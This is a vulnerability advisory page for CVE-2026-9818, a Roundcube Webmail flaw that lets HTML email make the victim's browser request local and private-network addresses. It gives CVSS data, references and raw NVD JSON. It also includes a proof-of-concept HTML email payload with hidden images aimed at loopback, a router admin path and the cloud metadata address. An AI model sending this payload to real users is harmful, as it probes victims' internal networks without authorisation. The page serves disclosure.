CVE-2026-9818

Description

Roundcube's HTML sanitization path for message rendering allows loopback, localhost, RFC1918, link-local, and ULA URLs even when remote content loading is disabled. A remote attacker can send an HTML email that causes the victim's browser to issue requests to local or private-network services simply by opening the message preview.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Roundcube Webmail < 1.6.16

Roundcube Webmail < 1.7.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: HTML Email Payload for CVE-2026-9818 -->
<!-- This payload attempts to force the browser to request local network resources -->
<!DOCTYPE html>
<html>
<body>
  <h1>Image Loading Test</h1>
  
  <!-- Attempt to load from Loopback interface -->
  <img src="http://127.0.0.1:8080/" alt="Loopback Test" width="1" height="1">

  <!-- Attempt to load from RFC1918 Private Network -->
  <img src="http://192.168.1.1/admin/config" alt="Private Network Test" width="1" height="1">

  <!-- Attempt to load from Link-Local address (e.g., Cloud Metadata) -->
  <img src="http://169.254.169.254/latest/meta-data/" alt="Link-Local Test" width="1" height="1">

  <p>If images load, the vulnerability is present.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9818
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9818
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9818/
[4] VulDB https://vuldb.com/cve/CVE-2026-9818
[5] https://advisories.orangecyberdefense.com/advisories/163
[6] https://github.com/roundcube/roundcubemail/commit/7b52353653a67e6073b97d70eb94047132b78556
[7] https://github.com/roundcube/roundcubemail/commit/faf867432f51ebbe100382a70a9e3c042415ee1b
[8] https://github.com/roundcube/roundcubemail/releases/tag/1.6.16
[9] https://github.com/roundcube/roundcubemail/releases/tag/1.7.1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9818", "sourceIdentifier": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd", "published": "2026-05-28T13:16:25.440", "lastModified": "2026-05-28T13:16:25.440", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roundcube's HTML sanitization path for message rendering allows loopback, localhost, RFC1918, link-local, and ULA URLs even when remote content loading is disabled. A remote attacker can send an HTML email that causes the victim's browser to issue requests to local or private-network services simply by opening the message preview."}], "metrics": {"cvssMetricV31": [{"source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://advisories.orangecyberdefense.com/advisories/163", "source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd"}, {"url": "https://github.com/roundcube/roundcubemail/commit/7b52353653a67e6073b97d70eb94047132b78556", "source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd"}, {"url": "https://github.com/roundcube/roundcubemail/commit/faf867432f51ebbe100382a70a9e3c042415ee1b", "source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd"}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.16", "source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd"}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7.1", "source": "6064c9f1-42e5-4cc5-a67a-1636d7a9d3fd"}]}}